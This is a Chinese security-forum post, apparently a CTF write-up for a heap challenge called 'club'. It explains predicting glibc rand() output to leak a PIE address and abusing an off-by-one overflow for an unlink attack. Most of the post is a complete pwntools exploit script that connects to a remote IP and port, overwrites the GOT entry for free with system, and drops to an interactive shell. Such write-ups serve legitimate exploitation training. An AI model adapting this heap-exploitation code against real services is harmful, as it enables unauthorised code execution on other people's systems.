首页
论坛
课程
招聘
[下载][下载]club
2017-10-13 11:50 1307

[下载][下载]club

BPG 活跃值
2
2017-10-13 11:50
1307
club.tar : bin + libc
## 0x01 随机数预测
首先是要获取堆的地址,由于开了PIE所以需要通过程序泄露出来,通过随机数来获得种子,从而得到`data段`地址。

程序在开始声明了两个变量`seed`和`name`,随机数种子就是`seed`的地址,在猜测正确随机数后就能将地址返回回来,那么问题就是如何预测随机数了。

具体需要了解[随机数的原理](http://mutepig.club),这里直接把结论丢出来:
```
rand[i] = (rand[i-3]+rand[i-31])&0x7fffffff
```
所以只要获得了前31个随机数,就能预测出来后面的随机数,从而得到泄露的地址。

## 0x02 off by one
在留言的时候,由于多读了一个字符串,所以会导致`off by one`,从而溢出下一个`chunk`的`size`。
那么我们可以构造类似这样的`chunk`:
```
+==========+
0    |0xf8
+==========+
 fake_chunk(size=0xe0)
+==========+
  .......
+==========+
0xe0 | 0x100
+==========+
```
这样实现之后,不仅我们控制了下一个`chunk`的`prev_size`,使得其指向的前一个`chunk`是我们伪造的,同时覆盖了下一个`chunk`的`size`的最低位,使之认为上一个`chunk`是空闲的,所以会调用`unlink`。

## 0x03 EXP
```
#!/usr/bin/env python
# encoding: utf-8

from mypwn import *
bin_file = "./club"
remote_detail = ("123.206.22.95",8888)
libc_file = "./libc.so.6"
bp = [0x1100]
pie = True
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)

def new(box,size=0):
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("> ")
    p.sendline(str(box))
    p.recvuntil("> ")
    p.sendline(str(size))

def free(box):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(str(box))

def msg(box,cont):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(str(box))
    p.send(cont)

def show(box):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline(str(box))
    return p.recvuntil("\n").strip()

def guess_num(num):
    p.recvuntil("> ")
    p.sendline("5")
    p.recvuntil("> ")
    p.sendline(str(num))
    ret = p.recvuntil("\n")
    ok = "G00d" in ret
    number = int(ret.split(" ")[-1].split("!")[0])
    return ok,number

def guess():
    randnum = []
    for i in xrange(31):
        ok,num = guess_num(0)
        randnum.append(num)
    while not ok:
        guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff
        ok,num = guess_num(guess)
        randnum.append(num)
    return num

def df_chunk(addr,size):
    # addr is the heap_addr, that means *addr=(&fake_chunk)
    fake_chunk = p64(0) + p64(size+1) + p64(addr - 0x18 ) + p64(addr - 0x10) + (size-0x20) * 'M'
    fake_next_size = p64(size)
    return fake_chunk + fake_next_size

if __name__ == "__main__":
    #  guess number to get stack_addr
    seed_addr = guess()
    heap_addr = seed_addr - 0x48 + 0x10
    base_addr = seed_addr - 0x148-0x202000
    free_got = elf.got['free'] + base_addr
    atoi_got = elf.got['atoi'] + base_addr
    puts_got = elf.got['puts'] + base_addr
    libc_free = libc.symbols['free']
    libc_system = libc.symbols['system']
    log.success("heap_addr:" + hex(heap_addr))

    new(1, 0x18)
    new(2, 0xe8)
    new(3, 0xf8)
    new(4,0x110)
    #payload = p64(heap_addr-0x18) + p64(heap_addr-0x10) + (0xf0-0x20)*'M' + p64(0xf0) + '\x00'
    msg(4,"/bin/sh\x00\n")
    payload = df_chunk(heap_addr,0xe0) + "\x00"
    msg(2,payload)
    free(3)

    msg(2,'1'*0x10 + p64(puts_got) + p64(free_got)+"\n")
    free_addr = show(2)
    free_addr = free_addr.strip().ljust(8,"\x00")
    free_addr = u64(free_addr)

    base_addr = free_addr - libc_free
    system_addr = base_addr + libc_system

    log.success("system_addr: %s"%(hex(system_addr)))

    msg(1,p64(system_addr)+"\n")
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline("4")
    #show(4)

    p.interactive()
```


看雪学院推出的专业资质证书《看雪安卓应用安全能力认证 v1.0》(中级和高级)!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回